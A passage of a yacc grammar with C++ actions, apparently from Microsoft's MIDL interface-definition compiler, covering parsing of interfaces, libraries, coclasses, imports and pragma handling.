pIntf->MergeMembersToTail( $1.Members );
$$.Imports = $1.Imports;
$$.Members.Init( pIntf );
}
else
{
// pass interface list and imports list
$$ = $1;
}
}
;
LibraryInterfaceList:
LibraryInterfaceList OneInterface
{
// merge interface list and imports list
$$ = $1;
$$.Imports.Merge( $2.Imports );
$$.Members.Merge( $2.Members );
}
| OneInterface
;
OneInterface:
InterfaceHeader InterfaceBody '}' OptionalSemicolon
{
/**
** This is the place where the complete interface construct
** has been reduced. We need to hook the body to the interface
** and pass it up, with the imports
**/
node_interface * pInterface = $1.pInterface;
pInterface->SetMembers( $2.Members );
$$.Imports = $2.Imports;
$$.Members.Init( pInterface );
/**
** Start a new interface info dict in case there are
** multiple interfaces in this file.
**/
pInterfaceInfoDict->EndNewInterface();
pInterfaceInfoDict->StartNewInterface();
// start a dummy interface for intervening stuff
node_interface * pOuter = new node_interface;
pOuter->SetSymName( GenIntfName() );
pInterfaceInfoDict->SetInterfaceNode( pOuter );
pOuter->SetAttribute( new battr( ATTR_LOCAL ) );
pOuter->SetProcTbl( (ImportLevel != 0) ? new SymTable : pBaseSymTbl );
}
| OptionalAttrList InterfaceName ';'
{
// put in a forward declaration
SymKey SKey( $2, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $2 );
// tbd - error if $1.NonNull()
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
// in InterfaceHeader, we are creating node_interface_reference on
// top of node_interface, so pFound is node_interface_reference.
// the bug is covered by GetDefiningFile() where GetMyInterface()
// in fact is retrieving outer wrapper interface for import file
// instead of the real child. It looks like in most cases, the
// two bugs cancel each other, but under certain scenario
// GetMyInterface() is retrieving the right node_interface, and
// we are failing on referencing non-existing interface.
// a work around is checking NodeKind() == NODE_INTERFACE_REFERENCE
// but real solution should be make GetMyInterface() really work,
// and better yet, use a better way to retrieve the child interface
// yongqu - 10/5/2000
if (pFound &&
pFound->NodeKind() != NODE_HREF &&
pFound->NodeKind() != NODE_INTERFACE &&
pFound->NodeKind() != NODE_INTERFACE_REFERENCE &&
NULL != pFound->GetDefiningFile())
{
pBaseSymTbl->SymDelete( SKey );
}
if(!pBaseSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
$$.Imports.Init();
$$.Members.Init( pNode );
}
| OptionalAttrList DispatchInterfaceName ';'
{
// put in a forward declaration
SymKey SKey( $2, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $2 );
// tbd - error if $1.NonNull()
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
if (pFound && pFound->NodeKind() != NODE_HREF && pFound->NodeKind() != NODE_DISPINTERFACE && NULL != pFound->GetDefiningFile())
{
pBaseSymTbl->SymDelete( SKey );
}
if(!pBaseSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
$$.Imports.Init();
$$.Members.Init( pNode );
}
| OptionalAttrList CoclassName ';'
{
// put in a forward declaration
SymKey SKey( $2, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $2 );
// tbd - error if $1.NonNull()
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
if (pFound && pFound->NodeKind() != NODE_HREF && pFound->NodeKind() != NODE_COCLASS && NULL != pFound->GetDefiningFile())
{
pBaseSymTbl->SymDelete( SKey );
}
if(!pBaseSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
$$.Imports.Init();
$$.Members.Init( pNode );
}
| OptionalAttrList ModuleName ';'
{
// put in a forward declaration
SymKey SKey( $2, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $2 );
// tbd - error if $1.NonNull()
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
if (pFound && pFound->NodeKind() != NODE_HREF && pFound->NodeKind() != NODE_MODULE && NULL != pFound->GetDefiningFile())
{
pBaseSymTbl->SymDelete( SKey );
}
if(!pBaseSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
$$.Imports.Init();
$$.Members.Init( pNode );
}
| Import
{
if( !pCommand->IsSwitchDefined( SWITCH_MS_EXT ) &&
!((node_file*)$1.Tail())->IsXXXBaseIdl() )
{
ParseError( OUTSIDE_OF_INTERFACE, NULL );
}
// returns siblist
// these need to get saved up so they will be added to
// the header file
$$.Imports = $1;
$$.Members.Init();
}
| InterfaceComponent
{
if( !pCommand->IsSwitchDefined( SWITCH_MS_EXT ) )
{
ParseError( OUTSIDE_OF_INTERFACE, NULL );
}
// pass up a sibling list
$$.Imports.Init();
$$.Members = $1;
}
| LibraryHeader ForceBaseOdl LibraryBody '}' OptionalSemicolon
{
/**
** This is the place where the complete library construct
** has been reduced. We need to hook the body to the library
** and pass it up, with the imports
**/
if (ImportLevel == 1)
{
node_library * pLibrary = $1.pLibrary;
pLibrary->SetMembers( $3.Members );
$$.Imports = $3.Imports;
$$.Members.Init( pLibrary );
}
else
{
// this library block is in an imported file
// throw away the definitions
$$.Imports.Init();
$$.Members.Init();
}
// Throw the big "case sensitive again" switch here
gfCaseSensitive = TRUE;
// return to the previous Import Level
ImportLevel--;
}
| KWIMPORTLIB '(' STRING ')' ';'
{
if ( gfCaseSensitive )
{
ParseError(ILLEGAL_IMPORTLIB, $3);
}
if ( !FAddImportLib($3) )
{
ParseError(TYPELIB_NOT_LOADED, $3);
}
$$.Imports.Init();
$$.Members.Init();
}
| ModuleHeader PhantomPushSymtab OptionalModuleBody OptionalSemicolon
{
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol table level
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
node_module * pModule = $1.pModule;
pModule->SetMembers($3);
$$.Members.Init( pModule );
$$.Imports.Init();
/**
** Start a new interface info dict in case there are
** multiple interfaces in this file.
**/
pInterfaceInfoDict->EndNewInterface();
pInterfaceInfoDict->StartNewInterface();
// start a dummy interface for intervening stuff
node_interface * pOuter = new node_interface;
pOuter->SetSymName( GenIntfName() );
pInterfaceInfoDict->SetInterfaceNode( pOuter );
pOuter->SetAttribute( new battr( ATTR_LOCAL ) );
pOuter->SetProcTbl( (ImportLevel != 0) ? new SymTable : pBaseSymTbl );
}
| DispatchInterfaceHeader PhantomPushSymtab DispatchInterfaceBody '}' OptionalSemicolon
{
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol table level
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
node_dispinterface * pDispInterface = $1.pDispInterface;
pDispInterface->SetMembers($3);
$$.Members.Init(pDispInterface);
$$.Imports.Init();
/**
** Start a new interface info dict in case there are
** multiple interfaces in this file.
**/
pInterfaceInfoDict->EndNewInterface();
pInterfaceInfoDict->StartNewInterface();
// start a dummy interface for intervening stuff
node_interface * pOuter = new node_interface;
pOuter->SetSymName( GenIntfName() );
pInterfaceInfoDict->SetInterfaceNode( pOuter );
pOuter->SetAttribute( new battr( ATTR_LOCAL ) );
pOuter->SetProcTbl( (ImportLevel != 0) ? new SymTable : pBaseSymTbl );
}
| OptionalAttrList CoclassName '{' PhantomPushSymtab CoclassMemberList '}' OptionalSemicolon
{
/**
** discard the inner symbol table contents (unless it had fwds)
**/
pCurSymTbl->DiscardScope();
/**
** restore the symbol table level
**/
pSymTblMgr->PopSymLevel( &pCurSymTbl );
char * szName = $2;
node_coclass * pCoclass = new node_coclass();
pCoclass->AddAttributes($1);
pCoclass->SetSymName(szName);
pCoclass->SetMembers( $5);
// add coclass node to the global symbol table
SymKey SKey (szName, NAME_DEF);
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
//if (pFound && ( pFound->NodeKind() == NODE_FORWARD || pFound->NodeKind() == NODE_HREF ))
if (pFound && ( pFound->NodeKind() == NODE_FORWARD || NULL != pFound->GetDefiningFile() ))
{
pBaseSymTbl->SymDelete( SKey );
}
if (!pBaseSymTbl->SymInsert(SKey, (SymTable *) NULL, pCoclass))
{
ParseError(DUPLICATE_DEFINITION, szName);
}
$$.Members.Init( pCoclass );
$$.Imports.Init();
}
;
ModuleHeader:
OptionalAttrList ModuleName '{'
{
char * szName = $2;
node_module * pModule = new node_module();
pModule->AddAttributes($1);
pModule->SetSymName(szName);
// modules get a private scope for procs
pModule->SetProcTbl(new SymTable);
// start the new module
pInterfaceInfoDict->SetInterfaceNode(pModule);
// add module node to the base symbol table
SymKey SKey (szName, NAME_DEF);
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
//if (pFound && ( pFound->NodeKind() == NODE_FORWARD || pFound->NodeKind() == NODE_HREF ))
if (pFound && ( pFound->NodeKind() == NODE_FORWARD || NULL != pFound->GetDefiningFile() ))
{
pBaseSymTbl->SymDelete( SKey );
}
if (!pBaseSymTbl->SymInsert(SKey, (SymTable *) NULL, pModule))
{
ParseError(DUPLICATE_DEFINITION, szName);
}
$$.pModule = pModule;
}
;
DispatchInterfaceHeader:
OptionalAttrList DispatchInterfaceName '{'
{
char * szName = $2;
node_dispinterface * pDispInterface = new node_dispinterface();
pDispInterface->AddAttributes($1);
pDispInterface->SetSymName(szName);
// dipatchinterfaces get a private scope for procs
pDispInterface->SetProcTbl(new SymTable);
// start the new dispatchinterface
pInterfaceInfoDict->SetInterfaceNode(pDispInterface);
// add dispinterface node to the global symbol table
SymKey SKey (szName, NAME_DEF);
named_node * pFound;
pFound = pBaseSymTbl->SymSearch( SKey );
//if (pFound && ( pFound->NodeKind() == NODE_FORWARD || pFound->NodeKind() == NODE_HREF ))
if (pFound && ( pFound->NodeKind() == NODE_FORWARD || NULL != pFound->GetDefiningFile() ))
{
pBaseSymTbl->SymDelete( SKey );
}
if (!pBaseSymTbl->SymInsert(SKey, (SymTable *) NULL, pDispInterface))
{
ParseError(DUPLICATE_DEFINITION, szName);
}
$$.pDispInterface = pDispInterface;
}
;
OptionalSemicolon:
';'
| /* nothing */
;
LibraryHeader:
OptionalAttrList LibraryName '{'
{
char * szName = $2;
if (ImportLevel == 0)
{
// make sure that only one library statement exists
if (fLibrary)
{
ParseError(TWO_LIBRARIES, szName);
}
fLibrary = TRUE;
}
// create library node
node_library * pLibrary = new node_library();
$$.pLibrary = pLibrary;
pLibrary->AddAttributes($1);
pLibrary->SetSymName(szName);
// throw the big "case insensitive" switch here
gfCaseSensitive = FALSE;
// Bump the Import Level to ensure that interfaces under the
// library statement are treated correctly.
ImportLevel++;
}
;
LibraryName:
KWLIBRARY Tag
{
$$ = $2;
}
;
LibraryBody:
LibraryInterfaceList
// just pass back what we get from the list of interfaces
| /* nothing */
{
// initialize and return an empty list
$$.Imports.Init();
$$.Members.Init();
}
;
ModuleName:
KWMODULE Tag
{
$$ = $2;
}
;
OptionalModuleBody:
ModuleBody '}'
| '}'
{
$$.Init();
}
;
ModuleBody:
ModuleBody MethodDeclaration
{
$$.Merge($2);
}
| MethodDeclaration
;
DispatchInterfaceName:
KWDISPINTERFACE Tag
{
$$ = $2;
}
;
DispatchInterfaceBody:
KWPROPERTIES ':' OptionalPropertyList KWMETHODS ':' OptionalMethodList
{
$$ = $3;
$$.Merge($6);
// Can I tell where the properties stop and the methods begin?
// And does it really matter?
}
| InterfaceName ';'
{
// put in a forward declaration
SymKey SKey( $1, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $1 );
// tbd - error if $1.NonNull()
if(!pBaseSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
$$.Init( pNode );
}
| /* nothing */
{
$$.Init();
}
;
OptionalPropertyList:
PropertyList
| /* nothing */
{
$$.Init();
}
;
PropertyList:
PropertyList MemberDeclaration
{
$$.Merge($2);
}
| MemberDeclaration
;
OptionalMethodList:
MethodList
| /* nothing */
{
$$.Init();
}
;
MethodList:
MethodList MethodDeclaration
{
$$.Merge($2);
}
| MethodDeclaration
;
MethodDeclaration:
OptionalAttrList Declaration
{
$2.AddAttributes($1);
$$ = $2;
/**
** Check to see if it has a property attribute.
** If it does, remove its name from the symbol table,
** decorate it with the appropriate decoration
** and re-insert it into the symbol table
**/
BOOL fPropPut = FALSE;
BOOL fPropGet = FALSE;
BOOL fPropPutRef = FALSE;
node_base_attr * pCur = $1.GetFirst();
named_node * pNode = $$.Tail();
char * szName = pNode->GetSymName();
while (pCur)
{
if (pCur->GetAttrID() == ATTR_MEMBER)
{
switch(((node_member_attr *)pCur)->GetAttr())
{
case MATTR_PROPPUT:
fPropPut = TRUE;
if (fPropGet | fPropPutRef)
ParseError(MULTIPLE_PROPERTY_ATTRIBUTES, szName);
break;
case MATTR_PROPGET:
fPropGet = TRUE;
if (fPropPut | fPropPutRef)
ParseError(MULTIPLE_PROPERTY_ATTRIBUTES, szName);
break;
case MATTR_PROPPUTREF:
fPropPutRef = TRUE;
if (fPropGet | fPropPut)
ParseError(MULTIPLE_PROPERTY_ATTRIBUTES, szName);
break;
}
}
pCur = pCur->GetNext();
}
if (fPropPut | fPropGet | fPropPutRef)
{
// remove the name from the correct symbol table
SymKey SKey(szName, NAME_PROC);
SymTable * pSymTable = pInterfaceInfoDict->GetInterfaceProcTable();
named_node * pFound = pSymTable->SymSearch(SKey);
if (pNode == pFound)
{
pSymTable->SymDelete(SKey);
char * szNewName;
if (fPropPut)
{
szNewName = new char[strlen(szName) + 5];
sprintf(szNewName , "put_%s", szName);
}
else
if (fPropGet)
{
szNewName = new char[strlen(szName) + 5];
sprintf(szNewName , "get_%s", szName);
}
else
{
szNewName = new char[strlen(szName) + 8];
sprintf(szNewName , "putref_%s", szName);
}
pFound->SetSymName(szNewName);
SymKey SNewKey(szNewName, NAME_PROC);
pSymTable->SymInsert(SNewKey, (SymTable *)NULL, pFound);
}
else
ParseError(ILLEGAL_USE_OF_PROPERTY_ATTRIBUTE, szName);
}
}
;
CoclassName:
KWCOCLASS Tag
{
$$ = $2;
}
;
CoclassMemberList:
CoclassMemberList CoclassMember
{
$$.Merge($2);
}
| CoclassMember
;
CoclassMember:
OptionalAttrListWithDefault DispatchInterfaceName ';'
{
// put in a forward declaration
SymKey SKey( $2, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $2 );
// tbd - error if $2.NonNull()
if(!pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
// bugbug - how to I verify that the name actually belongs to a DispInterface?
$$.Init( pNode );
$$.AddAttributes($1);
}
| OptionalAttrListWithDefault InterfaceName ';'
{
// put in a forward declaration
SymKey SKey( $2, NAME_DEF );
named_node * pNode;
pNode = new node_forward( SKey, pBaseSymTbl );
pNode->SetSymName( $2 );
// tbd - error if $2.NonNull()
if(!pCurSymTbl->SymInsert( SKey, (SymTable *)NULL, pNode ))
{
// ParseError( DUPLICATE_DEFINITION, pName );
}
// bugbug - how to I verify that the name actually belongs to an Interface?
$$.Init( pNode );
$$.AddAttributes($1);
}
;
ForceBaseOdl:
/* nothing */
{
/* force the lexer to return import "oaidl.idl";
*/
if ( !fOdlBaseImported)
{
/* Make sure the MS_EXT and C_EXT switches get defined
*/
pCommand->SwitchDefined( SWITCH_MS_EXT );
pCommand->SwitchDefined( SWITCH_C_EXT );
// make sure the change sticks
pCommand->SetModeSwitchConfigMask();
LexContext = LEX_ODL_BASE_IMPORT;
fOdlBaseImported = TRUE;
}
}
;
ForceBaseIdl:
/* nothing */
{
node_interface * pOuter = new node_interface;
pOuter->SetSymName( GenIntfName() );
pInterfaceInfoDict->SetInterfaceNode( pOuter );
pOuter->SetAttribute( new battr( ATTR_LOCAL ) );
pOuter->SetProcTbl( (ImportLevel != 0) ? new SymTable : pBaseSymTbl);
}
;
InterfaceHeader:
OptionalAttrList InterfaceName OptionalBaseIF '{'
{
node_interface_reference * pRef;
char * pName = $2;
node_interface * pIntf = new node_interface();
$$.pInterface = pIntf;
pIntf->AddAttributes( $1 );
// interfaces with inheritance implicitly become object interfaces now...
if ( $3 )
{
if ( !pIntf->FInSummary( ATTR_OBJECT ) )
{
pIntf->SetAttribute( ATTR_OBJECT );
}
}
// object intfs get a private scope for procs, imported intfs, too
if ( pIntf->FInSummary( ATTR_OBJECT ) ||
( ImportLevel != 0 ) )
pIntf->SetProcTbl( new SymTable );
else
pIntf->SetProcTbl( pBaseSymTbl );
pIntf->SetSymName( pName );
if ( !strcmp( pName, "IUnknown" ) )
pIntf->SetValidRootInterface();
// add the interface reference node to the base symbol table as if
// it were a typedef
pRef = new node_interface_reference( pIntf );
SymKey SKey( pName, NAME_DEF );
named_node* pFound = pBaseSymTbl->SymSearch( SKey );
//if ( pFound && ( pFound->NodeKind() == NODE_FORWARD || pFound->NodeKind() == NODE_HREF) )
if (pFound && ( pFound->NodeKind() == NODE_FORWARD || NULL != pFound->GetDefiningFile() ))
{
pBaseSymTbl->SymDelete( SKey );
}
if(!pBaseSymTbl->SymInsert( SKey, (SymTable *)NULL, pRef ))
{
ParseError( DUPLICATE_DEFINITION, pName );
}
// set the base interface of this interface
// this MAY be a node_forward
pIntf->SetMyBaseInterfaceReference( (named_node *) $3 );
// interfaces with [async_uuid]
if ( pIntf->FInSummary( ATTR_ASYNCUUID ) )
{
pRef = new node_interface_reference( pIntf );
char* szAsyncName = new char[strlen(pName)+6];
strcpy( szAsyncName, "Async" );
strcat( szAsyncName, pName );
SymKey SKey( szAsyncName, NAME_DEF );
named_node* pFound = pBaseSymTbl->SymSearch( SKey );
pRef->SetSymName(szAsyncName);
if ( pFound &&
( pFound->NodeKind() == NODE_FORWARD || 0 != pFound->GetDefiningFile() ) )
{
pBaseSymTbl->SymDelete( SKey );
}
if ( !pBaseSymTbl->SymInsert( SKey, (SymTable *)0, pRef ) )
{
ParseError( DUPLICATE_DEFINITION, szAsyncName );
}
}
// start the new interface
pInterfaceInfoDict->SetInterfaceNode( pIntf );
}
;
OptionalBaseIF:
':' Tag
{
node_skl * pNode;
SymKey SKey( $2, NAME_DEF );
BOOL fNotFound =
! ( pNode = pBaseSymTbl->SymSearch( SKey ) );
if( fNotFound || (pNode->NodeKind() == NODE_FORWARD ) )
{
pNode = new node_forward( SKey, pBaseSymTbl );
((named_node *)pNode)->SetSymName( $2 );
}
//Return a node_forward or a node_interface_reference.
$$ = pNode;
}
| /* Empty */
{
$$ = NULL;
}
;
BaseInterfaceList:
':' Tag
{
node_skl * pNode;
SymKey SKey( $2, NAME_DEF );
BOOL fNotFound =
! ( pNode = pBaseSymTbl->SymSearch( SKey ) );
if( fNotFound || (pNode->NodeKind() == NODE_FORWARD ) )
{
pNode = new node_forward( SKey, pBaseSymTbl );
((named_node *)pNode)->SetSymName( $2 );
}
//Return a new list with a node_forward or a node_interface_reference.
$$ = new type_node_list;
if( pNode )
$$->SetPeer( pNode );
}
| BaseInterfaceList ',' Tag
{
node_skl * pNode;
SymKey SKey( $3, NAME_DEF );
BOOL fNotFound =
! ( pNode = pBaseSymTbl->SymSearch( SKey ) );
if( fNotFound || (pNode->NodeKind() == NODE_FORWARD ) )
{
pNode = new node_forward( SKey, pBaseSymTbl );
((named_node *)pNode)->SetSymName( $3 );
}
//Add a node_forward or a node_interface_reference to the list.
$$ = $1;
$$->SetPeer(pNode);
}
;
InterfaceName:
KWINTERFACE Tag
{
$$ = $2;
}
;
TypeName:
TYPENAME
| LIBNAME "." TYPENAME
{
char * szType = $3->GetSymName();
node_skl * pNode = (named_node *)AddQualifiedReferenceToType($1, szType);
if (!pNode)
{
char * sz = new char [strlen($1) + strlen(szType) + 2];
strcpy(sz, $1);
strcat(sz, ".");
strcat(sz, szType);
ParseError( UNDEFINED_SYMBOL, sz);
pNode = $3;
}
$$ = pNode;
}
;
InterfaceBody:
MultipleImport InterfaceComp
{
/**
** This production is reduced when there is at least 1 imported
** file
**/
$$.Imports = $1;
$$.Members = $2;
}
| InterfaceComp
{
/**
** This production is reduced when there is NO import in the file
**/
$$.Imports.Init();
$$.Members = $1;
}
;
/**
** All the interface components have been reduced.
**/
InterfaceComp:
InterfaceComponents
| /* Nothing */
{
$$.Init();
}
;
MultipleImport:
MultipleImport Import
{
$$ = $1;
$$.Merge( $2 );
}
| Import
;
Import:
KWIMPORT ImportList ';'
{
$$ = $2;
}
| KWIMPORTODLBASE ImportList
{
$$ = $2;
}
;
ImportList:
ImportName
| ImportList ',' ImportName
{
$$ = $1;
$$.Merge( $3 );
}
;
/**
** Imports are handled by making them part of the syntax. The following set of
** productions control the import. As soon as an import string is seen, we
** must get the productions from another idl file. It would be great if we
** could recursively call the parser here. But yacc does not generate a
** parser which can be recursivel called. So we make the idl syntax right
** recursive by introducing "InputFile" at the rhs of the Importname
** production. The type graph then gets generated with the imported parts of
** the type graph compeleting first. We keep merging the type graphs from the
** imported files. The beauty of this is that the parser does not have to do
** any work at all. The parse tells the import controller to push his import
** level, and switch input from another file. The import controller can do
** this very easily. Then when the parser driver asks for the next token, it
** will be from the imported file. Thus the parser conspires with the file
** handler to fool itself and the lexer. This whole scheme makes it very
** easy on all components - the parser, lexer and the file handler.
**
** import of an already imported file is an idempotent operation. We can
** generate the type graph of the reduncdantly imported file and then throw it
** away, but that is wasteful. Again, the file handler helps. If it finds that
** a file was redundantly imported, it just sets itself up so that it returns
** an end of file on the next getchar operation on the file. This makes it
** very easy for the parser. It can either expect an interface syntax after the
** import statement or it can expect an end of file. Thus 2 simple productions
** take care of this entire problem.
**/
ImportName:
STRING
{
/**
** we just obtained the import file name as a string. Immediately
** following, we must switch the input from the imported file.
**/
// push the current case sensitive setting on the stack
gCaseStack.Push(gfCaseSensitive);
// switch to case sensitive mode
gfCaseSensitive = TRUE;
pImportCntrl->PushLexLevel();
if( pImportCntrl->SetNewInputFile( $1 ) != STATUS_OK )
{
$$.Init();
returnflag = 1;
return;
}
/**
** update the quick reference import level indicator
**/
ImportLevel++;
// the new file gets its own Zp stack
PushZpStack( pPackStack, CurrentZp );
// prepare for anything not in an interface body
pInterfaceInfoDict->StartNewInterface();
node_interface * pOuter = new node_interface;
pOuter->SetSymName( GenIntfName() );
pInterfaceInfoDict->SetInterfaceNode( pOuter );
pOuter->SetAttribute( new battr( ATTR_LOCAL ) );
pOuter->SetProcTbl( (ImportLevel != 0) ? new SymTable : pBaseSymTbl );
}
PhantomInputFile
{
/**
** The phantom interface production is introduced to unify the actions
** from a successful and unsuccessful import. An import can be
** errorneous if the file being imported has been imported before.
**/
BOOL fError = !( ( $$ = $3 ).NonNull() );
/**
** Restore the lexical level of the import controller.
**/
pImportCntrl->PopLexLevel();
pInterfaceInfoDict->EndNewInterface();
// return to the enclosing files Zp stack
PopZpStack( pPackStack, CurrentZp );
ImportLevel--;
//
// The filehandler will return an end of file if the file was a
// redundant import OR there was a genuine end of file. It will set
// a flag, fRedundantImport to differentiate between the two situations.
// Report different syntax errors in both these cases.
//
if( fError )
{
if( fRedundantImport )
ParseError( REDUNDANT_IMPORT, $1 );
else
{
ParseError( UNEXPECTED_END_OF_FILE, $1 );
}
}
fRedundantImport = FALSE;
// pop the previous case sensitive mode back off the stack
gCaseStack.Pop(gfCaseSensitive);
}
;
PhantomInputFile:
InputFile
{
/**
** InputFile is a list of file nodes
**/
char * pInputFileName;
$$ = $1;
pImportCntrl->GetInputDetails( &pInputFileName );
AddFileToDB( pInputFileName );
}
| EOI
{
$$.Init();
}
;
InterfaceComponents:
InterfaceComponents InterfaceComponent
{
$$ = $1;
$$.Merge( $2 );
}
| InterfaceComponent
;
/* Note that we have to semantically verify that the declaration
which has operation attributes is indeed a function prototype. */
InterfaceComponent:
CPragmaSet
{
$$.Init($1);
}
| MidlPragmaSet
{
$$.Init($1);
}
| KWCPPQUOTE '(' STRING ')'
{
ParseError( CPP_QUOTE_NOT_OSF, (char *)0 );
$3 = MakeNewStringWithProperQuoting( $3 );
$$.Init( new node_echo_string( $3 ) );
}
| MethodDeclaration
| KWMIDLPRAGMA Tag '(' KWDEFAULT ':' MessageNumberList ')'
{
node_midl_pragma* pPragma;
if ( strcmp( $2, "warning" ) )
{
ParseError( PRAGMA_SYNTAX_ERROR, 0 );
}
pPragma = new node_midl_pragma( mp_MessageEnable, $6 );
$$.Init( pPragma );
pPragma->ProcessPragma();
}
| KWMIDLPRAGMA Tag '(' Tag ':' MessageNumberList ')'
{
PragmaType pt;
node_midl_pragma* pPragma;
if ( strcmp( $2, "warning" ) )
{
ParseError( PRAGMA_SYNTAX_ERROR, 0 );
}
if ( !strcmp( $4, "enable" ) )
{
pt = mp_MessageEnable;
}
else if ( !strcmp( $4, "disable" ) )
{
pt = mp_MessageDisable;
}
else
{
ParseError( PRAGMA_SYNTAX_ERROR, 0 );
pt = mp_MessageDisable;
}
pPragma = new node_midl_pragma( pt, $6 );
$$.Init( pPragma );
pPragma->ProcessPragma();
}
;
MessageNumberList:
MessageNumberList NUMERICCONSTANT
{
$$->Insert( (void*)(INT_PTR) $2.Val );
}
| NUMERICCONSTANT
{
$$ = new expr_list;
$$->Insert( (void*)(INT_PTR) $1.Val );
}
;
CPragmaSet:
KWCPRAGMA
{
/**
** we need to emit the c pragma strings as they are.
** we introduce the echo string node, so that the back end can
** emit it without even knowing the difference.
**/
#define PRAGMA_PACK_STRING ("#pragma pack( ")
#define PRAGMA_STRING ("#pragma ")
char * p = new char [ strlen( $1 ) + strlen( PRAGMA_STRING ) + 1 ];
strcpy( p, PRAGMA_STRING );
strcat( p, $1 );
/**
** Check to see if the pragma ends in \r and strip it if so.
** This happens because the file is opened in binary mode
** and unrecognised pragma's are pulled in until the lexer
** sees a \n. It's to risky to change the lexer right now
** so we hack it here.
** -- MikeW 9-Jul-99
**/
{
int lastchar = (int) strlen( p ) - 1;
if ( '\r' == p[lastchar] )
p[lastchar] = '\0';
}
$$ = new node_echo_string( p );
}
| KWCPRAGMAPACK '(' ')'
{
node_pragma_pack * pPack;
/* return to global packing level */
pPack = new node_pragma_pack( NULL,
pCommand->GetZeePee(),
PRAGMA_PACK_RESET );
CurrentZp = pCommand->GetZeePee();
$$ = pPack;
}
| KWCPRAGMAPACK '(' PackIndex ')'
{
/* set current packing level */
if ( $3 )
{
node_pragma_pack * pPack;
/* switch top to new packing level */
pPack = new node_pragma_pack( NULL,
0,
PRAGMA_PACK_SET,
$3 );
CurrentZp = $3;
$$ = pPack;
}
else
$$ = NULL;
}
| KWCPRAGMAPACK '(' PushOrPop OptPackIndex ')'
{
node_pragma_pack * pPack;
switch( $3 )
{
case PRAGMA_PACK_PUSH:
{
// do push things
// push current zp
/* switch top to new packing level */
pPack = new node_pragma_pack( NULL,
CurrentZp,
PRAGMA_PACK_PUSH,
$4 );
pPack->Push( pPackStack );
$$ = pPack;
if ( $4 )
CurrentZp = $4;
break;
}
case PRAGMA_PACK_POP:
{
// do pop things
/* switch top to new packing level */
pPack = new node_pragma_pack( NULL,
$4,
PRAGMA_PACK_POP );
CurrentZp = pPack->Pop( pPackStack );
if ( !CurrentZp )
{
CurrentZp = pCommand->GetZeePee();
ParseError(MISMATCHED_PRAGMA_POP, NULL );
}
$$ = pPack;
break;
}
default:
$$ = NULL;
}
}
| KWCPRAGMAPACK '(' PushOrPop ',' IDENTIFIER OptPackIndex ')'
{
node_pragma_pack * pPack;
switch( $3 )
{
case PRAGMA_PACK_PUSH:
{
// do push things
// push current zp
/* switch top to new packing level */
pPack = new node_pragma_pack( $5,
CurrentZp,
PRAGMA_PACK_PUSH,
$6 );
pPack->Push( pPackStack );
$$ = pPack;
if ( $6 )
CurrentZp = $6;
break;
}
case PRAGMA_PACK_POP:
{
// do pop things
/* switch top to new packing level */
pPack = new node_pragma_pack( $5,
$6,
PRAGMA_PACK_POP );
CurrentZp = pPack->Pop( pPackStack );
if ( !CurrentZp )
{
CurrentZp = pCommand->GetZeePee();
ParseError(MISMATCHED_PRAGMA_POP, NULL );
}
$$ = pPack;
break;
}
default:
$$ = NULL;
}
}
;
PushOrPop:
IDENTIFIER
{
if ( !strcmp( $1, "push" ) )
{
$$ = PRAGMA_PACK_PUSH;
}
else if ( !strcmp( $1, "pop" ) )
{
$$ = PRAGMA_PACK_POP;
}
else
{
ParseError( UNKNOWN_PRAGMA_OPTION, $1);
$$ = PRAGMA_PACK_GARBAGE;
}
}
;
OptPackIndex:
',' PackIndex
{
$$ = $2;
}
| /* null */
{
$$ = 0;
}
;
PackIndex:
NUMERICCONSTANT
{
if (!pCommand->IsValidZeePee( $1.Val ))
{
ParseError( INVALID_PACKING_LEVEL, $1.pValStr );
$$ = DEFAULT_ZEEPEE;
}
else
{
$$ = $1.Val;
}
}
;
MidlPragmaSet:
KWMPRAGMAIMPORT '(' IDENTIFIER ')'
{
/**
** We need to set import on and off here
**/
char * p;
if( strcmp( $3, "off" ) == 0 )
{
p = "/* import off */";
fPragmaImportOn = FALSE;
}
else if( strcmp( $3, "on" ) == 0 )
{
p = "/* import on */";
fPragmaImportOn = TRUE;
}
else
p = "/* import unknown */";
$$ = new node_echo_string( p );
}
| KWMPRAGMAECHO '(' STRING ')'
{
$3 = MakeNewStringWithProperQuoting( $3 );
$$ = new node_echo_string( $3 );
}
| KWMPRAGMAIMPORTCLNTAUX '(' STRING ',' STRING ')'
{
$$ = NULL;
}
| KWMPRAGMAIMPORTSRVRAUX '(' STRING ',' STRING ')'
{
$$ = NULL;
}
;
Declaration:
KWDECLGUID '(' Tag ','
{
